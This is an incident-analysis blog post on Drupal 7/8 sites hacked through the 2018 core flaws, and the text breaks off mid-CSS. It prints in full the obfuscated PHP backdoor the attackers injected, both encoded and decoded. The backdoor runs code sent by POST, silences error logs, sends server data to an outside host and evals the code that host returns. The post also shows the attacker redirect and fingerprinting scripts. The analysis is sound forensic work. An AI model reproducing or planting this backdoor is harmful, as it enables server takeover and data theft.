Congratulations, your Drupal server has been compromised (hacked)

If you have heard this sentence or something similar, then this post is for you.

Due to the latest highly critical security issue sa-core-2018-002 and sa-core-2018-004 for Drupal, we have been contacted by several companies whose Drupal 7 and 8 installations had been hacked.

In this blogpost we highlight our findings and conclusions how to analyse the problems and how to fix and restore your Drupal installation. 

Parts of this post will be a bit in depth to cater to the more technical folks among our readers.

When you run git status on your compromised server you will probably see file changes like the following:

PolicyCommands.php
load.environment.php
ScriptHandler.php
.ht.router.php
autoload.php
index.php
update.php

The good news is: The infection is most likely performed by a bot (the ones we are talking about were), and is not targeted. Meaning the crackers do not care for you, your data or your infrastructure but for your exposure on the internet only.

You just happend to have an unpatched system on a part of the web they were currently probing. However: The penetration is significant and will allow the attacker to execute arbitrary code on your server.

The problem should be escalated as soon as an infection is detected. The data should be secured for a later analysis and potential legal actions that your company or clients want to persue.

Analysis of infected Drupal 7 instance

Modified PHP files indicate you Drupal 7 / 8 installation was hacked

We will first show the different infections and dissect them. Afterwards we will deduce some behaviors depending on thread-scenarios.

In the analysis we logged into the websites to get a bearing  and we were confronted the situation displayed in the screenshot.

Those are some very extensive modifications to the site in production. They are however limited to *.php-files.

Even the example.site.php was modified, which is a nice indication that this is automated and not targeted, not taking the extend of the changes into account.

 

Often changes to hacked Drupal 7 / 8 installations are performed by bots and are generic

We found out during our analysis, the changes were  not limited to the currently running site. Instead it infected every PHP-Site the process had write-access to (e.g. artifacts kept on the server in case a roll-back is required, think capistrano, ansistrano and the likes).

The only changes unique to the running instance are the stats.php- and stats9.php-files.

We will later see why.

Looking into this further we quickly found that the the modifications are generic.

So we proceeded to investigate these generic modifications.

The changes (excluding stats9.php- and stats.php-files) looked like the following snippet.

<?php /*435345352*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KaWYoJHBhdGNoZWRmdiA9PT0gIkdIS0FTTVZHIiApIHsgIEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgICB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*435345352*/ ?><?php /*457563643*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQ0KaWYgKHN0cnBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgInBvc3RfcmVuZGVyIiApICE9PSBmYWxzZSkgeyAkcGF0Y2hlZGZ2ID0gIkdIS0FTTVZHIjsgfQ0KaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10gKSApIHsgaWYobWQ1KCRfUkVRVUVTVFsnZmRnZGZndnYnXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgJHBhdGNoZWRmdiA9ICJTREZERlNERiI7IH0gfQ0KDQppZigkcGF0Y2hlZGZ2ID09PSAiR0hLQVNNVkciICkgeyBAb2JfZW5kX2NsZWFuKCk7ICBkaWU7ICB9DQoNCmlmIChzdHJwb3MoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCAiV2luIiApID09PSBmYWxzZSkgeyAka2pka2VfYyA9IDE7IH0NCmVycm9yX3JlcG9ydGluZygwKTsNCmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsNCmdsb2JhbCAkaW5jbHVkZV90ZXN0OyAkaW5jbHVkZV90ZXN0ID0gMTsNCiRia2xqZz0kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07DQokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOw0KaWYoICEoJF9HRVRbJ2RmJ10gPT09ICIyIikgYW5kICEoJF9QT1NUWydkbCddID09PSAiMiIgKSBhbmQgKChwcmVnX21hdGNoKCIvIiAuIGltcGxvZGUoInwiLCAkZ2hmanUpIC4gIi9pIiwgJGJrbGpnKSkgb3IgKEAkX0NPT0tJRVsnY29uZHRpb25zJ10pICBvciAoISRia2xqZykgb3IgKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA9PT0gImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICIxMjcuMC4wLjEiKSAgb3IgKCRfU0VSVkVSWydSRU1PVEVfQUREUiddID09PSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSkgb3IgKCRfR0VUWydkZiddID09PSAiMSIpIG9yICgkX1BPU1RbJ2RsJ10gPT09ICIxIiApKSkNCnt9DQplbHNlDQp7DQpmb3JlYWNoKCRfU0VSVkVSIGFzICRuZGJ2ID0+ICRjYmNkKSB7ICRkYXRhX25mZGguPSAiJlJFTV8iLiRuZGJ2LiI9JyIuYmFzZTY0X2VuY29kZSgkY2JjZCkuIiciO30NCiRjb250ZXh0X2poa2IgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoDQphcnJheSgnaHR0cCc9PmFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+ICcxNScsDQogICAgICAgICAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOVxyXG5Db25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdjb250ZW50JyA9PiAiUkVNX1JFTT0nMSciLiRkYXRhX25mZGgNCikpKTsNCiR2a2Z1PWZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbm9ydHNlcnZpcy5uZXQvc2Vzc2lvbi5waHA/aWQiLCBmYWxzZSAsJGNvbnRleHRfamhrYik7DQppZigkdmtmdSkgeyBAZXZhbCgkdmtmdSk7IH0gZWxzZSB7b2Jfc3RhcnQoKTsgIGlmKCFAaGVhZGVyc19zZW50KCkpIHsgQHNldGNvb2tpZSgiY29uZHRpb25zIiwiMiIsdGltZSgpKzE3MjgwMCk7IH0gZWxzZSB7IGVjaG8gIjxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsNCiB9DQoNCiB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*457563643*/ ?>

Now let's format this and drill down (annotations of the code escaped with  '#' added by us)

<?php /*435345352*/ #unknown purpose, probably a counter
error_reporting(0); #disabling error-reporting, so we do not know if the script runs into any errors
@ini_set('error_log', NULL); #unsetting error-log-file
@ini_set('log_errors', 0); #s.a. server-speficic
@ini_set('display_errors', 'Off'); # disabling displaying errors to the user
# this will be interesting, going into details later on
@eval(base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KaWYoJHBhdGNoZWRmdiA9PT0gIkdIS0FTTVZHIiApIHsgIEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgICB9'));
@ini_restore('error_log'); # restoring the errorlog
@ini_restore('display_errors'); /*435345352*/ ?>
<?php /*457563643*/ # from here on out it is the same thing over again, so we are dealing with a double-infection by the same bot
error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('display_errors', 'Off');
# this string is slightly different, see below
@eval(base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQ0KaWYgKHN0cnBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgInBvc3RfcmVuZGVyIiApICE9PSBmYWxzZSkgeyAkcGF0Y2hlZGZ2ID0gIkdIS0FTTVZHIjsgfQ0KaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10gKSApIHsgaWYobWQ1KCRfUkVRVUVTVFsnZmRnZGZndnYnXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgJHBhdGNoZWRmdiA9ICJTREZERlNERiI7IH0gfQ0KDQppZigkcGF0Y2hlZGZ2ID09PSAiR0hLQVNNVkciICkgeyBAb2JfZW5kX2NsZWFuKCk7ICBkaWU7ICB9DQoNCmlmIChzdHJwb3MoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCAiV2luIiApID09PSBmYWxzZSkgeyAka2pka2VfYyA9IDE7IH0NCmVycm9yX3JlcG9ydGluZygwKTsNCmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsNCmdsb2JhbCAkaW5jbHVkZV90ZXN0OyAkaW5jbHVkZV90ZXN0ID0gMTsNCiRia2xqZz0kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07DQokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOw0KaWYoICEoJF9HRVRbJ2RmJ10gPT09ICIyIikgYW5kICEoJF9QT1NUWydkbCddID09PSAiMiIgKSBhbmQgKChwcmVnX21hdGNoKCIvIiAuIGltcGxvZGUoInwiLCAkZ2hmanUpIC4gIi9pIiwgJGJrbGpnKSkgb3IgKEAkX0NPT0tJRVsnY29uZHRpb25zJ10pICBvciAoISRia2xqZykgb3IgKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA9PT0gImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICIxMjcuMC4wLjEiKSAgb3IgKCRfU0VSVkVSWydSRU1PVEVfQUREUiddID09PSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSkgb3IgKCRfR0VUWydkZiddID09PSAiMSIpIG9yICgkX1BPU1RbJ2RsJ10gPT09ICIxIiApKSkNCnt9DQplbHNlDQp7DQpmb3JlYWNoKCRfU0VSVkVSIGFzICRuZGJ2ID0+ICRjYmNkKSB7ICRkYXRhX25mZGguPSAiJlJFTV8iLiRuZGJ2LiI9JyIuYmFzZTY0X2VuY29kZSgkY2JjZCkuIiciO30NCiRjb250ZXh0X2poa2IgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoDQphcnJheSgnaHR0cCc9PmFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+ICcxNScsDQogICAgICAgICAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOVxyXG5Db25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdjb250ZW50JyA9PiAiUkVNX1JFTT0nMSciLiRkYXRhX25mZGgNCikpKTsNCiR2a2Z1PWZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbm9ydHNlcnZpcy5uZXQvc2Vzc2lvbi5waHA/aWQiLCBmYWxzZSAsJGNvbnRleHRfamhrYik7DQppZigkdmtmdSkgeyBAZXZhbCgkdmtmdSk7IH0gZWxzZSB7b2Jfc3RhcnQoKTsgIGlmKCFAaGVhZGVyc19zZW50KCkpIHsgQHNldGNvb2tpZSgiY29uZHRpb25zIiwiMiIsdGltZSgpKzE3MjgwMCk7IH0gZWxzZSB7IGVjaG8gIjxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsNCiB9DQoNCiB9'));
@ini_restore('error_log');
@ini_restore('display_errors'); /*457563643*/ ?><?php

The attacker is crippling the servers/PHPs ability to tell the admin that s.th. might be amiss ensuring that the infection stays undetected for as long as possible.

And afterwards it restores the reporting-capabilites again so it does not arouns any suspicion.

In between we have the following statement.

@eval(base64_decode('.....'))

Which basically contains the payload of our maleware.
So let's first have a look at the first payload:

(base64-decoded and formatted)

if (md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") {
eval(base64_decode($_POST["cookies_p"]));
}
if (strpos($_SERVER['REQUEST_URI'], "post_render") !== FALSE) {
$patchedfv = "GHKASMVG";
}
if (isset($_REQUEST['fdgdfgvv'])) {
if (md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") {
$patchedfv = "SDFDFSDF";
}
}
if ($patchedfv === "GHKASMVG") {
@ob_end_clean();
die;
}

This will allow the attacker to execute arbitrary code base64-encoded in the post-paramter "cookies_p".

This being a POST-request the code is not logged.

So we have no idea what is being executed on the system.

The rest of the lines are concerned with discarding or printing the output of the information provided.

Now let us see the second  payload (once again annotations with # are added by us the the payload was formatted).

<?php

if (md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") {
eval(base64_decode($_POST["cookies_p"]));
}
if (strpos($_SERVER['REQUEST_URI'], "post_render") !== FALSE) {
$patchedfv = "GHKASMVG";
}
if (isset($_REQUEST['fdgdfgvv'])) {
if (md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") {
$patchedfv = "SDFDFSDF";
}
}

if ($patchedfv === "GHKASMVG") {
@ob_end_clean();
die;
}

if (strpos($_SERVER["HTTP_USER_AGENT"], "Win") === FALSE) {
$kjdke_c = 1;
}
error_reporting(0); # disabling error-reporting again although the embedding script alread does that
if (!$kjdke_c) { # only executed if the user-agent is not windows
global $kjdke_c;
$kjdke_c = 1;
global $include_test;
$include_test = 1;
$bkljg = $_SERVER["HTTP_USER_AGENT"];
$ghfju = [
"Google",
"Slurp",
"MSNBot",
"ia_archiver",
"Yandex",
"Rambler",
"bot",
"spid",
"Lynx",
"PHP",
"WordPress" . "integromedb",
"SISTRIX",
"Aggregator",
"findlinks",
"Xenu",
"BacklinkCrawler",
"Scheduler",
"mod_pagespeed",
"Index",
"ahoo",
"Tapatalk",
"PubSub",
"RSS",
"WordPress",
];
# this gets executed when df and dl are not 2, the server is calling itself or one of the Useragents match or df and dl are 1
if (!($_GET['df'] === "2") and
!($_POST['dl'] === "2") and
(
(preg_match("/" . implode("|", $ghfju) . "/i", $bkljg)) or
(@$_COOKIE['condtions']) or
(!$bkljg) or
($_SERVER['HTTP_REFERER'] === "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']) or
($_SERVER['REMOTE_ADDR'] === "127.0.0.1") or
($_SERVER['REMOTE_ADDR'] === $_SERVER['SERVER_ADDR']) or
($_GET['df'] === "1") or ($_POST['dl'] === "1")
)
) {
# DO nothing here to ensure that the infection goes unnoticed as long as possible
}
else {
#collect information about this server.
foreach ($_SERVER as $ndbv => $cbcd) {
$data_nfdh .= "&REM_" . $ndbv . "='" . base64_encode($cbcd) . "'";
}
#prepare a context
$context_jhkb = stream_context_create(
[
'http' => [
'timeout' => '15',
# notable here is that the request will be done by specific browsers long out of date and with a connection-closed header
'header' => "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.9) Gecko/20100101 Firefox/10.0.9_ Iceweasel/10.0.9\r\nConnection: Close\r\n\r\n",
'method' => 'POST', #ensuring that the information does not pop up in the logs
'content' => "REM_REM='1'" . $data_nfdh, #exfiltrating the data about the server
],
]);

# getting content from the remote server this is probably not hard-coded in order to aquire information
# about campain-velocity and to allows for different campains to be run.
$vkfu = file_get_contents("http://nortservis.net/session.php?id", FALSE, $context_jhkb);

if ($vkfu) { # if a campain is returned, execute it
@eval($vkfu);
}
else {
ob_start(); # start outputbuffering so whatever is returned here is returned at the end of the PHP-Process
# if the headers are not sent, ensure that a header is set that
if (!@headers_sent()) {
@setcookie("condtions", "2", time() + 172800);
}
else {
# s.a. this time trying to set the cookie from client-side
echo "<script>document.cookie='condtions=2; path=/; expires=" . date('D, d-M-Y H:i:s', time() + 172800) . " GMT;';</script>";
};
};
}
}

As we can see the first part is identical with the first payload. This illustrates that improvement took place and the backdoor was not used to improve the code. Instead the attacker opted to reinfect the website.

Moreover when a user has been visiting the site previously with no campain being present then no campain will be shown for another 48 hours if we look at the bottom of the script and the beginning of the condition looking for the key "condtions".

This is probably to ensure that when a campain is ended  or didn't even start unwanted behaviour is eliminated as far as possible maximising the evasion of detection.

Now what is the script actually getting form the remote server:

At time of analysis it was the following PHP-Snippet:

@ob_end_clean(); header("Location: http://verafdsiol.tk/index/?1631501756857"); exit;

This is basically purgin the output-buffer sending a location-header and terminating the process.

Subsequently executing the code will return:

global $include_test; $include_test = 1;

This looks like there is s.th. going on: some additional logic, active development  not yet deployed and/or detection
for revisiting visitors or countermeasure to avoid detection of url directed to.

So let's have a look what they are up to, since we have the URL and are nosy:

$>wget -O- "http://v........tk/index/?181273912871"

<script>
function go() {
window.frames[0].document.body.innerHTML = '<form target="_parent" method="post" action="http://wwww.perrrrsik.org/?utm_medium=4c23b9fecf7dfd895dfe0da99e857f3bee8e9d42&utm_campaign=201"></form>';
window.frames[0].document.forms[0].submit()
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden"></iframe>

This is pretty much a very very fancy redirect to another site and the iframe on that site is hidden, so the user
will only see a white page.

The reason this is done via form in an iframe is to ensure that the user will not get to see the url. We can only speculate but it might be to allow for denial of get-requests so that nobody stumbles on these addresses by accident.

It is also noteworthy that the ID at the end might denote a campain that is being run, and this might not be the same as the paramter found in the action-paramter of the form in the script above.

The action-paramter above will return the following page:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Loading...</title>
<meta name="viewport" content="width=320,initial-scale=1"/>
<style type="text/css">
body, html {
background: #fff;
height: 100%;
margin: 0;
text-align: center
}

body:before {
content: "";
display: inline-block;
vertical-align: middle;
height: 100%
}

div {
font: bold 28px/160px arial;
display: inline-block;
color: #000;
background: #32ad38;
text-align: center;
border-radius: 50%;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
width: 160px;
vertical-align: middle
}</style>
</head>
<body>
<div>Loading</div>
<script type="text/javascript">!function () {
var t = 0;
setInterval(function () {
document.body.firstChild.style.opacity = .5 + Math.abs(50 - t++ % 100) / 100
}, 10)
}();
var FontInspector = function () {
function n() {
var n = ("0000" + s.offsetWidth.toString(16)).substr(-4), e = ("0000" + s.offsetHeight.toString(16)).substr(-4);
return e + n
}

function e(n) {
for (var e = 0; e < f.length; e++) {
if (f[e] == n) {
return !0;
}
}
return !1
}

function t() {
s.innerHTML = p;
for (var e in u) {
s.style.fontFamily = u[e], c.appendChild(s), f.push(n()), c.removeChild(s);
}
l = !0
}

function r(r) {
l || t(), s.style.fontFamily = r + "," + u, c.appendChild(s);
var i = !e(n());
return c.removeChild(s), i
}

function i() {
var n = [];
for (var e in h) {
"blank" != h[e] ? n.push(r(h[e]) ? 1 : 0) : n.push(0);
}
var t = n.join(""), i = ("0000000000000000" + parseInt(t, 2).toString(16)).substr(-16);
return i
}

function o() {
s.innerHTML = "????????‍??????????〽©〰™▪◼", s.style.fontFamily = u[0], c.appendChild(s);
var e = n();
return c.removeChild(s), e
}

function a() {
for (var n in u) {
var e = document.createElement("span"), t = u[n];
e.innerHTML = p + " : " + t, e.style.fontFamily = t + "," + u, c.appendChild(e), c.appendChild(document.createElement("br"))
}
for (var n in h) {
var e = document.createElement("span"), t = h[n];
e.innerHTML = p + " : " + t, e.style.fontFamily = t + "," + u, c.appendChild(e), c.appendChild(document.createElement("br"))
}
}

var u = ["monospace", "sans-serif", "serif"], c = document.getElementsByTagName("body")[0],
s = document.createElement("span");
s.style.fontSize = "75px", s.style.whiteSpace = "nowrap";
var f = [], l = !1, p = "BbEeIilLMmSsWwYy",
h = ["blank", "Dancing Script", "sans-serif-light", "sans-serif-condensed-light", "blank", "Zapfino", "Cochin", "sans-serif-black", "blank", "Cambria", "serif-monospace", "blank", "Damascus", "sans-serif-smallcaps", "Noto Serif", "Bookerly", "blank", "HelveticaNeue", "blank", "Avenir-Book", "ArialMT", "blank", "Microsoft Sans Serif", "blank", "Comic Sans", "Superclarendon-Regular", "Georgia", "Open Sans", "FreeSans", "Algerian", "Bookman Old Style", "Bitstream Vera Sans", "FreeSerif", "sans-serif-condensed", "AppleSDGothicNeo-Thin", "sans-serif-thin", "sans-serif-medium", "Droid Sans", "AppleColorEmoji", "Monospace", "Webdings", "TrebuchetMS", "Tahoma", "Roboto", "Lucida Console", "DejaVu Sans", "DBLCDTempBlack", "Calibri", "FreeMono", "Lucida", "casual", "blank", "Impact", "AlNile-Bold", "AmericanTypewriter", "Ubuntu", "Syncopate", "Liberation Serif", "blank", "Didot", "AcademyEngravedLetPlain", "Trebuchet", "OpenSymbol", "blank"];
this.fontExists = r, this.unicodeFingerprint = o, this.fontFingerprint = i, this.testFontList = a
}, fi = new FontInspector;
!function (n, e, t, r, i, o, a) {
function u(n) {
function e(n) {
return (n < 16 ? "0" : "") + n.toString(16)
}

for (var t = "", r = 137, i = 0; i < n.length; ++i) {
var o = 170 ^ n.charCodeAt(i) ^ 255 & i;
r = r + o & 255, t += e(o)
}
return t += e(r)
}

function c() {
function i(n) {
return "function" == typeof n || !1
}

var c, s = new Date, f = [function () {
return t.platform
}, function () {
return "ontouchstart" in e || "onmsgesturechange" in e ? 1 : a
}, function () {
return r.availWidth
}, function () {
return r.availHeight
}, function () {
return t.plugins && t.plugins.length || a
}, function () {
return (e.ontouchstart + "")[0]
}, function () {
return (e.onmsgesturechange + "")[0]
}, function () {
return e.MSGesture ? 1 : a
}, function () {
return e.innerWidth
}, function () {
return e.innerHeight
}, function () {
return s.getTimezoneOffset()
}, function () {
return (new Date).getTime() - s.getTime()
}, function () {
return t.buildID
}, function () {
return t.cookieEnabled ? 1 : a
}, function () {
return t.performance && t.performance.navigation && t.performance.navigation.redirectCount || a
}, function () {
return t.performance && t.performance.navigation && t.performance.navigation.type || a
}, function () {
return e.orientation
}, function () {
return e.devicePixelRatio
}, function () {
return t.vendor
}, function () {
return r.pixelDepth
}, function () {
return r.colorDepth
}, function () {
return r.deviceXDPI
}, function () {
return r.deviceYDPI
}, function () {
return i(n.hasFocus) ? n.hasFocus() : a
}, function () {
return i(n.getComputedStyle) ? 1 : a
}, function () {
return e.history && i(e.history.pushState) ? 1 : a
}, function () {
return r.width
}, function () {
return r.height
}, function () {
return o.unicodeFingerprint()
}, function () {
return o.fontFingerprint()
}], l = [];
for (c = 0; c < f.length; ++c) {
try {
l.push(f[c]())
}
catch (n) {
l.push("!")
}
}
return u(l.join("\0"))
}

var s;
try {
s = c()
}
catch (n) {
try {
s = u([0, n.message || n].join("\0"))
}
catch (n) {
s = ""
}
}
e.location.replace(i + "&utm_content=" + s)
}(document, window, navigator, screen, "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x77\x2e\x70\x65\x72\x72\x72\x72\x73\x69\x6b\x2e\x6f\x72\x67\x2f\x3f\x75\x74\x6d\x5f\x74\x65\x72\x6d\x3d\x36\x35\x36\x37\x33\x34\x35\x38\x39\x35\x37\x37\x38\x35\x35\x30\x39\x32\x38\x26\x63\x6c\x69\x63\x6b\x76\x65\x72\x69\x66\x79\x3d\x31", fi);</script>
</body>
</html>

With the insanly long-hex-string being the url of their designated target. The rest is mostly obfuscation.

So what is to be on the other side of the url, encoded in hex?

$> wget -O- "http://wwww.perrrrsik.org/?utm_term=6567345895778550928&clickverify=1"

<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de">
<head>
<meta name="robots" content="noindex,nofollow"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="shortcut icon" href="/favicon.ico" type="image/vnd.microsoft.icon"/>
<link rel="icon" href="/favicon.ico" type="image/vnd.microsoft.icon"/>
<style type="text/css">/*<![CDATA[*/
body {
background: #000;
font-family: arial;
font-size: 14px
}

.container {
position: absolute;
width: 300px;
height: 200px;
z-index: 15;
top: 50%;
left: 50%;
margin: -100px 0 0 -150px;
text-align: center
}

.container a {
background: #32ad38;
padding: 8px 10px;
color: #fff;
text-decoration: none;
border-radius: 30px;
display: block;
margin: 5px auto;
width: 150px
}

.title {
font-size: 18px;
color: #fff !important;
font-weight: bold;
padding: 10px 0
}

.preloader-wrapper {
width: 64px;
height: 64px;
display: inline-block;
position: relative;
-webkit-animation: container-rotate 1568ms linear infinite;
animation: container-rotate 1568ms linear infinite;
box-sizing: border-box
}

.spinner-layer {
box-sizing: border-box;
position: absolute;
width: 100%;
height: 100%;
border-color: #4285f4;
opacity: 1;
-webkit-animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;
animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

.circle-clipper {
box-sizing: border-box;
float: left;
display: inline-block;
position: relative;
width: 50%;
height: 100%;
overflow: hidden;
border-color: inherit
}

.circle-clipper .circle {
box-sizing: border-box;
width: 200%;
height: 100%;
border-width: 3px;
border-style: solid;
border-color: inherit;
border-bottom-color: transparent !important;
border-radius: 50%;
position: absolute;
top: 0;
right: 0;
bottom: 0
}

.circle-clipper.left .circle {
left: 0;
border-right-color: transparent !important;
-webkit-transform: rotate(129deg);
transform: rotate(129deg);
-webkit-animation: left-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;
animation: left-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

.gap-patch {
